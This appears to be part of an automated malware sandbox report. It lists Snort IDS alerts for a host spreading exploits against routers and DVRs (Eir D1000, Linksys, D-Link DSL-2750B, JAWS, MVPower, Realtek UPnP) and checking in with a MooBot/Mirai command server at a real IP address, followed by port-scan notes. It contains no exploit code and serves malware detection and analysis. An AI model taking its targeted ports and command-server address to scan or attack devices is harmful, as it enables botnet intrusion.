Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:33830 -> 97.120.114.191:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:58102 -> 27.147.114.253:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:44172 -> 121.136.181.89:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53832 -> 121.133.255.176:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:60764 -> 172.65.74.110:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:60764 -> 172.65.74.110:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:60764 -> 172.65.74.110:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:60746 -> 172.65.74.110:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:60746 -> 172.65.74.110:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:60746 -> 172.65.74.110:55555
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60150 -> 174.112.142.104:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46880 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:46980 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48242 -> 172.65.200.184:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:48242 -> 172.65.200.184:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:48242 -> 172.65.200.184:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:47436 -> 172.65.114.49:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47000 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56774 -> 74.73.120.108:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43868 -> 20.37.141.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43868 -> 20.37.141.249:80
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39096 -> 99.235.13.184:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:56778 -> 74.73.120.108:7547
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47148 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34974 -> 131.148.74.14:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34514 -> 172.67.121.99:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34974 -> 131.148.74.14:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45334 -> 172.233.155.253:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51256 -> 172.65.210.0:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:51256 -> 172.65.210.0:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:51256 -> 172.65.210.0:55555
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:50622 -> 172.65.83.203:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:50622 -> 172.65.83.203:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:50622 -> 172.65.83.203:55555
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47190 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:52042 -> 115.3.111.124:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:52042 -> 115.3.111.124:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:52042 -> 115.3.111.124:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:56020 -> 175.233.25.38:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:56020 -> 175.233.25.38:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:56020 -> 175.233.25.38:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47250 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:35782 -> 172.64.194.81:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58050 -> 40.84.132.201:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:33410 -> 98.96.198.103:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:44246 -> 172.67.115.19:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58050 -> 40.84.132.201:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47566 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40402 -> 162.217.156.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40380 -> 34.232.108.216:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40380 -> 34.232.108.216:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60136 -> 69.197.128.121:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40994 -> 107.149.188.48:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40994 -> 107.149.188.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43402 -> 195.85.255.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53136 -> 212.129.39.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40402 -> 162.217.156.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43402 -> 195.85.255.250:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:45898 -> 184.163.104.142:8080
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60136 -> 69.197.128.121:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:47686 -> 172.66.195.244:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47596 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44312 -> 20.37.141.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53118 -> 212.129.39.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44312 -> 20.37.141.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53118 -> 212.129.39.194:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35048 -> 185.146.84.90:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33066 -> 200.218.225.222:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53136 -> 212.129.39.194:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35048 -> 185.146.84.90:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33066 -> 200.218.225.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47786 -> 37.151.229.89:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47614 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:59132 -> 34.117.53.26:8080
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:59132 -> 34.117.53.26:8080
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:59132 -> 34.117.53.26:8080
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58400 -> 2.19.109.114:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58400 -> 2.19.109.114:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47664 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36800 -> 40.82.218.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50100 -> 220.133.212.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50100 -> 220.133.212.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36800 -> 40.82.218.181:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47674 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:51216 -> 172.65.198.155:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:51216 -> 172.65.198.155:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:51216 -> 172.65.198.155:55555
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47682 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57514 -> 148.0.248.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56924 -> 195.159.251.17:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47718 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47786 -> 37.151.229.89:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56084 -> 23.196.216.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38712 -> 91.218.188.247:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39868 -> 41.225.233.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57514 -> 148.0.248.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42074 -> 18.233.18.213:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56924 -> 195.159.251.17:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38712 -> 91.218.188.247:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42074 -> 18.233.18.213:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53860 -> 187.72.230.54:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56084 -> 23.196.216.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53860 -> 187.72.230.54:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:48108 -> 172.65.223.69:55555
Source: Traffic	Snort IDS: 2027153 ET EXPLOIT Linksys E-Series Device RCE Attempt Outbound 192.168.2.23:48108 -> 172.65.223.69:55555
Source: Traffic	Snort IDS: 2026102 ET EXPLOIT Linksys E-Series Device RCE Attempt 192.168.2.23:48108 -> 172.65.223.69:55555
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47736 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57556 -> 103.12.49.145:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39868 -> 41.225.233.153:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47742 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56126 -> 4.208.97.243:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47750 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56126 -> 4.208.97.243:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:49198 -> 172.64.32.158:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:42878 -> 172.67.51.252:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47772 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47798 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.23:36102 -> 23.202.52.135:80
Source: Traffic	Snort IDS: 2831299 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) 192.168.2.23:36102 -> 23.202.52.135:80
Source: Traffic	Snort IDS: 2049119 ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) 192.168.2.23:36102 -> 23.202.52.135:80
Source: Traffic	Snort IDS: 2025756 ET EXPLOIT D-Link DSL-2750B - OS Command Injection 192.168.2.23:36102 -> 23.202.52.135:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34028 -> 198.91.85.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34028 -> 198.91.85.108:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41730 -> 34.195.150.228:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41730 -> 34.195.150.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60160 -> 54.203.79.201:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34586 -> 67.227.215.198:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34586 -> 67.227.215.198:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60160 -> 54.203.79.201:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:38616 -> 172.65.158.2:8080
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47834 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2835221 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) 192.168.2.23:39646 -> 212.154.221.41:80
Source: Traffic	Snort IDS: 2831299 ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 (metasploit version) 192.168.2.23:39646 -> 212.154.221.41:80
Source: Traffic	Snort IDS: 2049119 ET EXPLOIT D-Link DSL-2750B Command Injection Attempt (CVE-2016-20017) 192.168.2.23:39646 -> 212.154.221.41:80
Source: Traffic	Snort IDS: 2025756 ET EXPLOIT D-Link DSL-2750B - OS Command Injection 192.168.2.23:39646 -> 212.154.221.41:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47884 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49328 -> 64.32.108.117:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60372 -> 177.106.151.127:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:49334 -> 64.32.108.117:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51476 -> 187.202.234.215:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:60384 -> 177.106.151.127:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45122 -> 201.132.247.115:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:45140 -> 201.132.247.115:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:57848 -> 115.4.73.58:7547
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36360 -> 204.108.11.150:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37334 -> 69.164.56.22:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:37282 -> 69.164.56.22:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34262 -> 57.128.169.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46284 -> 104.19.73.155:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36360 -> 204.108.11.150:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37334 -> 69.164.56.22:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:37282 -> 69.164.56.22:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46284 -> 104.19.73.155:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34262 -> 57.128.169.125:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36946 -> 23.50.29.254:80
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47948 -> 109.205.214.35:65535
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42724 -> 5.201.215.40:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36946 -> 23.50.29.254:80
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:58114 -> 98.96.231.27:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:54934 -> 172.67.118.127:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34818 -> 172.67.102.24:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:39912 -> 175.240.225.222:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43888 -> 39.29.2.119:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:51494 -> 187.202.234.215:7547
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:34806 -> 172.67.102.24:8080
Source: Traffic	Snort IDS: 2018132 ET WORM TheMoon.linksys.router 2 192.168.2.23:53106 -> 98.201.154.121:8080
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:40004 -> 175.240.225.222:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:43980 -> 39.29.2.119:7547
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59412 -> 94.121.54.83:52869
Source: Traffic	Snort IDS: 2025132 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 192.168.2.23:59412 -> 94.121.54.83:52869
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:58096 -> 115.4.73.58:7547
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:59592 -> 94.121.54.83:52869
Source: Traffic	Snort IDS: 2831300 ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 192.168.2.23:59592 -> 94.121.54.83:52869
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59042 -> 119.202.137.200:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:58122 -> 115.4.73.58:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:53688 -> 183.123.13.78:7547
Source: Traffic	Snort IDS: 2023548 ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE 192.168.2.23:59054 -> 119.202.137.200:7547

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.7.207.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.128.218.203 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 33584 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35250 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58818 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56826 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56846 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53498 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37694 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32776 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32776
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43944 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39026 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39170 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42208 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35590 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35634 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39074 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39076 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39026
Source: unknown	Network traffic detected: HTTP traffic on port 39210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42260 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39218 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39170
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42208
Source: unknown	Network traffic detected: HTTP traffic on port 35648 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50846 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54294 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32822
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45658
